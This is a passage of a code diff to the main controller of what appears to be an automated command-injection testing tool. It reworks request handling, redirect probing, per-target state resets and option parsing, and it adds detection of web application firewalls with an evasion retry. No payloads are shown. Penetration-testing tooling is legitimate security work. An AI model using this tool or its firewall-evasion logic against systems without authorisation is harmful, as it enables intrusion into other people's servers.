settings.BROWSER_LIKE_HEADERS = True + elif random_agent: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Fetching random HTTP User-Agent header. " + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + menu.options.agent = checks.random_user_agent() + settings.BROWSER_LIKE_HEADERS = True + info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + extra_headers() + cookie() + referer(url) + host(url) + user_agent() """ Examine the request """ -def examine_request(request): +def examine_request(request, url): + # Retries when the connection timeouts. + if settings.USER_APPLIED_RETRIES: + settings.MAX_RETRIES = menu.options.retries + elif settings.MULTI_TARGETS: + # Spending every retry on one unreachable host would hold up all the others. + settings.MAX_RETRIES = 1 try: - headers.check_http_traffic(request) - # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy: - return proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - return tor.use_tor(request) + response = headers.check_http_traffic(request) + if response is not None: + return response else: try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response + return headers.resend(request) except ValueError: # Invalid format for the '--header' option. if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Use '--header=\"HEADER_NAME: HEADER_VALUE\"'" err_msg += "to provide an extra HTTP header or" - err_msg += " '--header=\"HEADER_NAME: " + settings.WILDCARD_CHAR + "\"' " + err_msg += " '--header=\"HEADER_NAME: " + settings.CUSTOM_INJECTION_MARKER_CHAR + "\"' " err_msg += "if you want to try to exploit the provided HTTP header." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) - except Exception as err_msg: - if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): - if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: - pass - elif menu.options.auth_type and menu.options.auth_cred: - err_msg = "The provided pair of " + menu.options.auth_type - err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'" - err_msg += " seems to be invalid." - err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options," - err_msg += " in order to perform a dictionary-based attack." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - pass - else: - try: - error_msg = str(err_msg.args[0]).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg).replace(": "," (") + ")." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - - except SocketError as e: - if e.errno == errno.ECONNRESET: - error_msg = "Connection reset by peer." - print(settings.print_critical_msg(error_msg)) - elif e.errno == errno.ECONNREFUSED: - error_msg = "Connection refused." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - - except _urllib.error.HTTPError as err_msg: - error_description = "" - if len(str(err_msg).split(": ")[1]) == 0: - error_description = "Non-standard HTTP status code" - err_msg = str(err_msg).replace(": "," (") + error_description + ")." - if menu.options.bulkfile: - warn_msg = "Skipping URL '" + url + "' - " + err_msg - print(settings.print_warning_msg(warn_msg)) - if settings.EOF: - print(settings.SINGLE_WHITESPACE) - return False - else: - print(settings.print_critical_msg(err_msg)) - raise SystemExit - - except _urllib.error.URLError as e: - err_msg = "Unable to connect to the target URL" - try: - err_msg += " (" + str(e.args[0]).split("] ")[1] + ")." - except IndexError: - err_msg += "." - pass - if menu.options.bulkfile: - warn_msg = "Skipping URL '" + url + "' - " + err_msg - print(settings.print_warning_msg(warn_msg)) - if settings.EOF: - print(settings.SINGLE_WHITESPACE) - return False - else: - print(settings.print_critical_msg(err_msg)) - raise SystemExit + except Exception as err_msg: + # The verdict is the answer: a caller that reads 'False' is told the request was handled and + # failed, where the dropped one left it reading no response at all as a response. + return requests.request_failed(err_msg) """ Check internet connection before assessing the target. """ def check_internet(url): settings.CHECK_INTERNET = True - settings.CHECK_INTERNET_ADDRESS = checks.check_http_s(url) - info_msg = "Checking for internet connection. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + # Asked of somewhere on the internet, not of the target: a target that answers says nothing about + # the connection, and one that does not is exactly the case this is meant to tell apart. + info_msg = "Checking for internet connection." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) try: - request = _urllib.request.Request(settings.CHECK_INTERNET_ADDRESS) - headers.do_check(request) - # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy: - proxy.do_check(settings.CHECK_INTERNET_ADDRESS) - examine_request(request) - except: - print(settings.SINGLE_WHITESPACE) + request = _urllib.request.Request(settings.CHECK_INTERNET_ADDRESS, method=settings.HTTPMETHOD.GET) + # Carries nothing of the target's: its 'Host' header names a host this one does not serve, and + # the cookies and credentials that were given for it belong to it alone. + request.add_header(settings.USER_AGENT, settings.DEFAULT_USER_AGENT) + examine_request(request, settings.CHECK_INTERNET_ADDRESS) + except (Exception, SystemExit): + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) error_msg = "No internet connection detected." - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + finally: + # Only the probe above is not the target's own first request, so the flag ends with it - left + # set, the target's init test reads as the probe's and is never marked as having run. + settings.CHECK_INTERNET = False + +""" +A request built the way the run's own requests are, body and all - used for the first one to the +target, for the redirect probe, where a request carrying nothing is not evidence of where the +target sends the one that will be tested, and for the one the evasion is answered with. +""" +def build_request(url, http_request_method): + if settings.USER_DEFINED_POST_DATA: + request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(), method=http_request_method) + else: + request = _urllib.request.Request(url, method=http_request_method) + headers.do_check(request) + return request """ The init (URL) request. """ -def init_request(url): - # Number of seconds to wait before timeout connection +def init_request(url, http_request_method): + if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Setting the HTTP timeout." - print(settings.print_debug_msg(debug_msg)) + debug_msg = "Setting the HTTP timeout." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if menu.options.timeout: settings.TIMEOUT = menu.options.timeout - # Check connection(s) - checks.check_connection(url) - # Define HTTP User-Agent header - user_agent_header() + + if menu.options.proxy: + proxy.do_check() + + if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL != 0 : + debug_msg = "Setting the HTTP authentication type and credentials." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + from_http_error = None + response = None + redirect_url = None + + """ + Settled before anything is sent, so that the probe below carries what every request after it will + - the user's own headers among them. A probe made without them says where the target sends some + other request, not the one this run is going to make. + """ + host_from_target = menu.options.host is None + defined_http_headers(url) + + try: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + probe_handlers = [redirection.RedirectHandler()] + if menu.options.ignore_proxy: + probe_handlers.append(_urllib.request.ProxyHandler({})) + elif menu.options.proxy: + if not proxy.is_socks(): + probe_handlers.append(_urllib.request.ProxyHandler({settings.SCHEME: menu.options.proxy})) + if menu.options.auth_cred and menu.options.auth_type and menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: + if settings.DIGEST_AUTH_REALM is None: + settings.DIGEST_AUTH_REALM = headers.discover_digest_realm(url) + digest_handler = _urllib.request.HTTPDigestAuthHandler() + username, _sep, password = menu.options.auth_cred.partition(":") + digest_handler.add_password(settings.DIGEST_AUTH_REALM, url, username, password) + probe_handlers.append(digest_handler) + probe_handlers.append(_urllib.request.HTTPSHandler(context=settings.unverified_context())) + opener = _urllib.request.build_opener(*probe_handlers) + # Install globally so later bare urlopen() calls respect it too. + _urllib.request.install_opener(opener) + probe_request = build_request(url, http_request_method) + if menu.options.proxy and not menu.options.tor and not menu.options.ignore_proxy: + proxy.apply_to_request(probe_request) + response = opener.open(probe_request, timeout=settings.TIMEOUT) + # What an ordinary request is answered with, kept for the protection check further on - which + # reads an obvious attack's answer against this one rather than against its status code. Read + # through the same helper every other reader of a page goes through, so the body stays + # available to whatever reads this response next. + requests.capture_original_page(response) + settings.WAF_CHECK_BASELINE = settings.ORIGINAL_PAGE + if response.geturl() != url: + redirect_url = response.geturl() + + except _urllib.error.HTTPError as e: + from_http_error = True + redirect_url = e.geturl() + + except Exception as err_msg: + requests.request_failed(err_msg) + + if redirect_url and redirect_url != url and settings.FOLLOW_REDIRECT: + redirect_url = redirection.do_check(url, redirect_url) + if redirect_url is not None and settings.FOLLOW_REDIRECT: + if from_http_error: + url = redirect_url + + # The header names where we started, and a redirect has moved us since. + if host_from_target: + menu.options.host = _urllib.parse.urlparse(url).netloc + + # Build the real request (full data) now that the final URL is known. + request = build_request(url, http_request_method) + # Check the internet connection (--check-internet switch). if menu.options.check_internet: check_internet(url) - # Check if defined POST data - if menu.options.data: - settings.USER_DEFINED_POST_DATA = menu.options.data - # Check if defined character used for splitting parameter values. - if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA: - settings.PARAMETER_DELIMITER = menu.options.pdel - try: - request = _urllib.request.Request(url, menu.options.data.encode()) - except SocketError as e: - if e.errno == errno.ECONNRESET: - error_msg = "Connection reset by peer." - print(settings.print_critical_msg(error_msg)) - elif e.errno == errno.ECONNREFUSED: - error_msg = "Connection refused." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - else: - # Check if defined character used for splitting parameter values. - if menu.options.pdel and menu.options.pdel in url: - settings.PARAMETER_DELIMITER = menu.options.pdel - try: - request = _urllib.request.Request(url) - except SocketError as e: - if e.errno == errno.ECONNRESET: - error_msg = "Connection reset by peer." - print(settings.print_critical_msg(error_msg)) - elif e.errno == errno.ECONNREFUSED: - error_msg = "Connection refused." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - headers.do_check(request) - # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy: - proxy.do_check(url) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." - print(settings.print_debug_msg(debug_msg)) - # Used a valid pair of valid credentials - if menu.options.auth_cred and menu.options.auth_type: - info_msg = "Using '" + menu.options.auth_cred + "' pair of " + menu.options.auth_type - info_msg += " HTTP authentication credentials." - print(settings.print_info_msg(info_msg)) - return request + checks.check_connection(url) + settings.CUSTOM_INJECTION_MARKER = checks.custom_injection_marker_character(url, http_request_method) + return request, url + """ Get the URL response. """ -def url_response(url): - # Check if http / https - url = checks.check_http_s(url) - # Check if defined Tor (--tor option). - if menu.options.tor and settings.TOR_CHECK_AGAIN: - tor.do_check() - if menu.options.bulkfile: - settings.TOR_CHECK_AGAIN = False - info_msg = "Setting URL '" + url + "' for tests. " - print(settings.print_info_msg(info_msg)) - request = init_request(url) +def url_response(url, http_request_method): if settings.CHECK_INTERNET: settings.CHECK_INTERNET = False - if settings.INIT_TEST == True: + if settings.INIT_TEST is True: info_msg = "Testing connection to the target URL. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) - response = examine_request(request) - # Check for URL redirection - if not menu.options.ignore_redirects: - url = redirection.do_check(url) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + + # Check if http / https + url = checks.check_http_s(url) + request, url = init_request(url, http_request_method) + # Set early so WAF detection can persist the finding. + settings.TARGET_URL = _urllib.parse.urlparse(url).hostname + settings.TARGET_NETLOC = _urllib.parse.urlparse(url).netloc + settings.INIT_CONNECTION_TIME = None + settings.INIT_CONNECTION_FETCH_TIME = None + settings.INIT_CONNECTION_URL = None + # Before the connection below rather than after it: the retry budget this target is given is read + # against this count, and the last target's traffic would have spent all of it before a request. + if settings.MULTI_TARGETS or settings.CRAWLING: + # initiate total of requests + settings.TOTAL_OF_REQUESTS = 0 + + conn_request, conn_url = request, url + do_waf = not menu.options.skip_waf + if do_waf: + settings.COOKIE_INJECTION = None + conn_request, conn_url = checks.check_waf(url, http_request_method) + + _conn_start = time.time() + response = examine_request(conn_request, conn_url) + if do_waf: + # A refusal served as a 200 never reaches the branch below, which is about a status code: it is + # told apart by how little the page resembles the one an ordinary request was answered with. + checks.detect_waf_in_page(response) + # The probe being blocked is the detection doing its job, not the target being unreachable: + # answer the protection and reconnect with the request that was asked for. + if response is False and settings.WAF_ENABLED: + # Asked before the request is sent again, and whether or not there is a body to frame as + # chunks: what the request says about itself is read before anything it carries is. + checks.waf_evasion_consent() + checks.apply_waf_transport_evasion() + # Built again rather than sent again: what the evasion settles - the headers the request + # names itself with, and whether its body goes as chunks - is put on a request as it is + # built, and this one was built before any of it was known. + request = build_request(url, http_request_method) + _conn_start = time.time() + response = examine_request(request, url) + # Found unusable rather than merely unanswered, so the phases behind this are not spent on it. + if settings.TARGET_UNUSABLE: + return False, url + if response is not False and response is not None: + _conn_end = time.time() + settings.INIT_CONNECTION_TIME = _conn_end - _conn_start + settings.INIT_CONNECTION_FETCH_TIME = _conn_end + settings.INIT_CONNECTION_URL = conn_url return response, url """ -Injection states initiation. +Initialize injection-related settings and state. """ def init_injection(url): - # Initiate injection checker. - if settings.INJECTION_CHECKER: - settings.INJECTION_CHECKER = False - # Initiate exploitation techniques states. - if settings.INJECTION_CHECKER: - settings.CLASSIC_STATE = False - if settings.EVAL_BASED_STATE: - settings.EVAL_BASED_STATE = False - if settings.TIME_BASED_STATE: - settings.TIME_BASED_STATE = False - if settings.FILE_BASED_STATE: - settings.FILE_BASED_STATE = False - if settings.TEMPFILE_BASED_STATE: - settings.TEMPFILE_BASED_STATE = False - if settings.TIME_RELATIVE_ATTACK: - settings.TIME_RELATIVE_ATTACK = False - -""" -Logs filename creation. -""" -def logs_filename_creation(): - if menu.options.output_dir: - if os.path.isdir(menu.options.output_dir): - output_dir = menu.options.output_dir - if not output_dir.endswith("/"): - output_dir = output_dir + "/" - else: - error_msg = "The '" + menu.options.output_dir + "' is not directory." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - else: - output_dir = settings.OUTPUT_DIR - - # One directory up, if the script is being run under "/src". - output_dir = os.path.dirname(output_dir) - + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Initializing the knowledge base." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + # Ensure redirection is followed (unless ignored) and core injection paths are enabled + settings.FOLLOW_REDIRECT = not menu.options.ignore_redirects + settings.SKIP_CODE_INJECTIONS = False + settings.SKIP_COMMAND_INJECTIONS = False + + # Reset injection checker and technique flags + settings.PENDING_FILE_CLEANUPS = {} + settings.CONFIRMED_INJECTION_POINTS = [] + settings.ASKED_KEEP_TESTING = False + settings.PENDING_POST_DETECTION_ACTIONS = [] + settings.OS_CMD_DONE = False + settings.PENDING_OS_SHELL_ENTRY = None + settings.LOGS_NOTIFICATION_SHOWN = False + settings.INJECTION_CHECKER = False + settings.RESULTS_BASED_STATE = False + settings.EVAL_BASED_STATE = False + settings.TIME_BASED_STATE = False + settings.FILE_BASED_STATE = False + settings.TEMPFILE_BASED_STATE = False + settings.OOB_STATE = False + settings.TIME_RELATED_ATTACK = False + + # Reset custom and temporary settings + settings.TESTED_PARAMETERS_LIST = [] + settings.METHODS_WITH_NON_LISTED_PARAMS = [] + settings.SKIP_NON_CUSTOM_PARAMS = None + settings.CUSTOM_INJECTION_MARKER = None + settings.CUSTOM_FILENAME = "" + settings.CONFIRMED_BOUNDARY = {} + + # A whitespace chosen by a tamper suits the target it was chosen for, not the next one: start + # from the default and let the tampers in use pick again, for this target's operating system. + # The literal constant is what every whitespace tamper's own reclaim check compares against - a + # URL-quoted one ('%20') never equals it, and so is never reclaimed, leaving it stuck underneath + # whatever a tamper appends instead. + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + if menu.options.tamper: + checks.perform_payload_modification(payload="") + + # A response-time model measures one target's latency, and says nothing about the next one's. + # The same goes for what was concluded from it: the lagging verdict, the concurrency baseline and + # the delay already reported as safe. + del settings.RESPONSE_TIMES[:] + del settings.PROBE_RESPONSE_TIMES[:] + settings.URL_TIME_RESPONSE = 0 + settings.BASELINE_TARGET = None + settings.LAGGING_CHECKED = False + settings.LAGGING_DETECTED = False + settings.CONCURRENT_BASELINE = False + settings.REPORTED_MIN_SAFE_TIMESEC = None + settings.IDENTIFIED_COMMAND_INJECTION = False + settings.IDENTIFIED_TARGET_OS = False + # An operating system worked out for one target is not the next one's - unless the user named it. + if not menu.options.os: + settings.TARGET_OS = settings.OS.UNIX + settings.CHECK_BOTH_OS = False + + # Reset web-root state + settings.WEB_ROOT = "" + settings.DEFAULT_WEB_ROOT = "" + settings.CUSTOM_WEB_ROOT = False + settings.WEB_ROOT_CANDIDATES = [] + settings.WEB_ROOT_SETTLED_ONCE = False + settings.WEB_ROOT_IS_GUESS = False + settings.WEB_ROOT_PROBE = None + settings.WRITABLE_DIR_ATTEMPT_SAID = False + settings.WEB_ROOT_CATEGORY_LABEL = "" + settings.JWT_CHECKED = False + if not settings.USER_APPLIED_WEB_ROOT: + menu.options.web_root = False + + # Discovered auth (not CLI-supplied) shouldn't carry over to the next target. + if not settings.USER_APPLIED_AUTH_CRED: + menu.options.auth_cred = None + if not settings.USER_APPLIED_AUTH_TYPE: + menu.options.auth_type = None + settings.REQUIRED_AUTHENTICATION = False + + # A level a stored session named belongs to the target it was read for: it outlives the target, + # so left set it settles the next one before that target's own session is ever consulted. + if not menu.options.level: + settings.USER_APPLIED_LEVEL = False + +""" +Validate and normalize a target line, returning the cleaned URL or None. +""" +def parse_target_line(line): + match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I) + if match: + target = match.group(0) + target = target.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip() + target = target.rstrip() + return target if checks.in_scope(target) else None + return None + +""" +Using 'stdin' for parsing targets. A generator, so a target is yielded as soon as its line +arrives - this lets a chained/piped upstream tool's output start being tested immediately, +instead of commix blocking until that tool finishes and closes its end of the pipe. +""" +def stdin_parsing_target(os_checks_num): + if os_checks_num == 0: + info_msg = "Using 'stdin' for parsing targets list." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + menu.options.batch = True + settings.MULTI_TARGETS = True + for url in iter(sys.stdin.readline, ""): + target = parse_target_line(url) + if target: + yield target + +""" +Yield (item, is_last) without requiring the iterable's length, supporting both lists and lazy generators. +""" +def with_is_last(iterable): + it = iter(iterable) try: - os.stat(output_dir) - except: + prev = next(it) + except StopIteration: + return + for item in it: + yield prev, False + prev = item + yield prev, True + +""" +Check if an injection point has already been detected against target. +""" +def check_for_injected_url(url): + return _urllib.parse.urlparse(url).netloc in settings.CRAWLED_URLS_INJECTED + +""" +Ask whether to skip further tests against a host where an injection point was already found. +""" +def prompt_skip_vulnerable_host(target_url): + if settings.SKIP_VULNERABLE_HOST is None: + message = "An injection point has already been detected against '" + _urllib.parse.urlparse(target_url).netloc + "'. " + message += "Do you want to skip further tests involving it? [Y/n] " + common.prompt_yes_no_setting(message, "SKIP_VULNERABLE_HOST", default="Y") + +""" +Test, one after the other, every request parsed from a request / proxy log file. +""" +def scan_parsed_targets(os_checks_num): + # The scan reads these where the single-target flow leaves them, at module level. + global response, url, filename + targets = settings.MULTI_REQUEST_TARGETS + filename = None + for target_num, target in enumerate(targets, start=1): + # What the last target turned out to be is dropped before this one is applied, so it starts + # from what the user asked for. + settings.reset_target_state(menu.options) + parser.apply_target(target) + url = menu.options.url + http_request_method = checks.check_http_method(url) + settings.print_data_to_stdout(settings.print_message("[" + str(target_num) + "/" + str(len(targets)) + "] URL - " + http_request_method + " " + url)) + if check_for_injected_url(url): + prompt_skip_vulnerable_host(url) + if settings.SKIP_VULNERABLE_HOST: + info_msg = "Skipping URL '" + url + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + continue + settings.SKIP_VULNERABLE_HOST = None + if os_checks_num == 0: + settings.INIT_TEST = True + # Reset the injection level + if settings.INJECTION_LEVEL > settings.HTTP_HEADER_INJECTION_LEVEL: + settings.INJECTION_LEVEL = 1 + # Skip upfront detection-only probes below when a stored technique already exists. + settings.LIKELY_RESUME = session_handler.has_any_stored_technique(url, http_request_method) + init_injection(url) try: - os.mkdir(output_dir) - except OSError as err_msg: - try: - error_msg = str(err_msg).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg) + "." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() + response, url = url_response(url, http_request_method) + if response is not False: + filename = logs.logs_filename_creation(url) + session_handler.restore_waf_status(url) + session_handler.restore_target_os(url) + session_handler.restore_target_arch(url) + main(filename, url, http_request_method) + else: + err_msg = "Unable to establish a connection with the target URL." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + except KeyboardInterrupt: + checks.handle_early_interrupt(filename, url) + except (Exception, SystemExit): + pass - # The logs filename construction. - filename = logs.create_log_file(url, output_dir) - return filename +""" +Check if value is inside boundaries +""" +def check_value_inside_boundaries(url, http_request_method): + url = checks.value_inside_boundaries(url, http_request_method) + settings.USER_DEFINED_POST_DATA = checks.value_inside_boundaries(settings.USER_DEFINED_POST_DATA, http_request_method) + return url """ The main function. """ -def main(filename, url): +def main(filename, url, http_request_method): try: + # Both are per-target: what was enumerated on one target says nothing about the next, and file + # access is already taken back here. Left set, enumeration would run for the first target only. + settings.FILE_ACCESS_DONE = False + settings.REGISTRY_ACCESS_DONE = False + settings.ENUMERATION_DONE = False + + if menu.options.alert: + if menu.options.alert.startswith('-'): + err_msg = "Value for option '--alert' must be valid operating system command(s)." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + else: + settings.ALERT = True + + if menu.options.offline: + settings.CHECK_FOR_UPDATES_ON_START = False + # Ignore the mathematic calculation part (Detection phase). if menu.options.skip_calc: settings.SKIP_CALC = True + # Confirm the time-based technique with a plain, uncomputed delay (Detection phase). + if menu.options.skip_subst: + settings.SKIP_SUBST = True + # Target URL reload. if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True + elif menu.options.url_reload: + warn_msg = "The '--url-reload' switch has no effect without the '--data' option." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - if menu.options.header is not None and settings.INJECT_TAG in menu.options.header or \ - menu.options.headers is not None and settings.INJECT_TAG in menu.options.headers: - info_msg = "Injection marker found in option '--header(s)/--user-agent/--referer/--cookie'." - print(settings.print_info_msg(info_msg)) - if menu.options.test_parameter: - err_msg = "The options '-p' and the injection marker cannot be used " - err_msg += "simultaneously (i.e. only one option must be set)." - print(settings.print_critical_msg(err_msg)) - raise SystemExit + if menu.options.flush_session: + session_handler.flush() + + url = check_value_inside_boundaries(url, http_request_method) + + if menu.options.level is not None and menu.options.level is not False: + settings.INJECTION_LEVEL = int(menu.options.level) + if settings.INJECTION_LEVEL not in (settings.DEFAULT_INJECTION_LEVEL, settings.COOKIE_INJECTION_LEVEL, settings.HTTP_HEADER_INJECTION_LEVEL): + err_msg = "The value for option '--level' must be an integer value from range [1, 3]." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + else: + settings.INJECTION_LEVEL = settings.DEFAULT_INJECTION_LEVEL + + if menu.options.level and settings.INJECTION_LEVEL >= settings.DEFAULT_INJECTION_LEVEL: + settings.USER_APPLIED_LEVEL = settings.INJECTION_LEVEL + + # -p naming a header/cookie needs a higher level than the default - bump it automatically. + if not menu.options.level and menu.options.test_parameter: + test_names = [p.split("=")[0].strip().lower() for p in menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX)] + raw_headers = menu.options.headers or menu.options.header + custom_header_names = [h.split(":", 1)[0].strip().lower() for h in raw_headers.split(settings.END_LINE.ESCAPED_LF) if ":" in h] if raw_headers else [] + if any(name in ("user-agent", "referer", "host") for name in test_names) or any(name in custom_header_names for name in test_names): + settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL = settings.HTTP_HEADER_INJECTION_LEVEL + elif "cookie" in test_names: + settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL = settings.COOKIE_INJECTION_LEVEL + + # A marker placed in a header or a cookie picks the injection point out the same way '-p' does, + # so it calls for the same level - and without it the place is tested with boundaries that + # cannot break out of anything, which reads as a header that is not injectable. + if not menu.options.level and settings.CUSTOM_INJECTION_MARKER: + if settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS or settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS: + settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL = settings.HTTP_HEADER_INJECTION_LEVEL + elif settings.INJECTION_MARKER_LOCATION.COOKIE: + settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL = settings.COOKIE_INJECTION_LEVEL + + if not settings.USER_APPLIED_LEVEL : + settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL = session_handler.applied_levels(url, http_request_method) + + # Define the level of tests to perform. + if not settings.apply_injection_level(): + err_msg = "The value for option '--level' " + err_msg += "must be an integer value from range [1, 3]." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) if menu.options.test_parameter and menu.options.skip_parameter: - if type(menu.options.test_parameter) is bool: - menu.options.test_parameter = None - else: + test_names = {p.split("=")[0] for p in menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX)} + skip_names = {p.split("=")[0] for p in menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX)} + if test_names & skip_names: err_msg = "The options '-p' and '--skip' cannot be used " - err_msg += "simultaneously (i.e. only one option must be set)." - print(settings.print_critical_msg(err_msg)) - raise SystemExit + err_msg += "simultaneously for the same parameter(s)." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) if menu.options.ignore_session: # Ignore session - session_handler.ignore(url) + session_handler.ignore() # Check provided parameters for tests - if menu.options.test_parameter or menu.options.skip_parameter: - if menu.options.test_parameter != None : - if menu.options.test_parameter.startswith("="): - menu.options.test_parameter = menu.options.test_parameter[1:] - settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) - - elif menu.options.skip_parameter != None : - if menu.options.skip_parameter.startswith("="): - menu.options.skip_parameter = menu.options.skip_parameter[1:] - settings.TEST_PARAMETER = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX) - - for i in range(0,len(settings.TEST_PARAMETER)): - if "=" in settings.TEST_PARAMETER[i]: - settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] - - # Check injection level, due to the provided testable parameters. - if menu.options.level < 2 and menu.options.test_parameter != None: - checks.check_injection_level() + checks.check_provided_parameters() # Check if defined character used for splitting cookie values. if menu.options.cdel: - settings.COOKIE_DELIMITER = menu.options.cdel + settings.COOKIE_PARAM_DELIMITER = menu.options.cdel + if menu.options.tech and settings.USER_APPLIED_TECHNIQUE != None: + settings.USER_APPLIED_TECHNIQUE = True + else: + settings.USER_APPLIED_TECHNIQUE = None + if len(session_handler.applied_techniques(url, http_request_method)) != 0: + settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method) + menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES + else: + menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) + + menu.options.tech = menu.options.tech.lower() + # The classic technique is named for how its result comes back now, so its letter moved with it. + for legacy, current in settings.LEGACY_TECHNIQUE_LETTERS.items(): + menu.options.tech = menu.options.tech.replace(legacy, current) + if menu.options.eval_sink: + # 'py' and 'python' name the same language, here as for '--interpreter'. + menu.options.eval_sink = settings.resolve_language(menu.options.eval_sink) + if menu.options.eval_sink not in (settings.EVAL_ALL_LANGUAGES,) + settings.SUPPORTED_EVAL_LANGUAGES: + err_msg = "You defined an invalid language '" + menu.options.eval_sink + "' for '--eval'. " + err_msg += "Currently, the only supported " + ("one is ", "ones are ")[len(settings.SUPPORTED_EVAL_LANGUAGES) != 1] + err_msg += ", ".join("'" + _ + "'" for _ in settings.SUPPORTED_EVAL_LANGUAGES) + "." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + # Everything the payloads are built from follows the language that was named. + if menu.options.eval_sink != settings.EVAL_ALL_LANGUAGES: + settings.set_eval_grammar(menu.options.eval_sink) + # The evaluation sink was named with '--technique=e' before '--eval' existed, and still is. + if settings.USER_APPLIED_TECHNIQUE and settings.EVAL_TECHNIQUE_LETTER in menu.options.tech: + menu.options.eval_sink = menu.options.eval_sink or settings.EVAL_ALL_LANGUAGES + remaining = menu.options.tech.replace(settings.EVAL_TECHNIQUE_LETTER, "") + if remaining: + warn_msg = "Code injection is selected with the '--eval' option now, and the technique is " + warn_msg += "chosen separately with '--technique', so only code injection is tested." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + menu.options.tech = "".join(settings.EVAL_CAPABLE_TECHNIQUES) + if menu.options.oob and settings.USER_APPLIED_TECHNIQUE: + err_msg = "The switch '--oob' selects the out-of-band technique on its own, so it cannot be " + err_msg += "combined with '--technique'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) # Check for skipping injection techniques. if menu.options.skip_tech: - settings.SKIP_TECHNIQUES = True - menu.options.tech = menu.options.skip_tech - - # Check if specified wrong injection technique - if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: - found_tech = False - # Convert injection technique(s) to lowercase - menu.options.tech = menu.options.tech.lower() - - # Check if used the ',' separator - if settings.PARAMETER_SPLITTING_REGEX 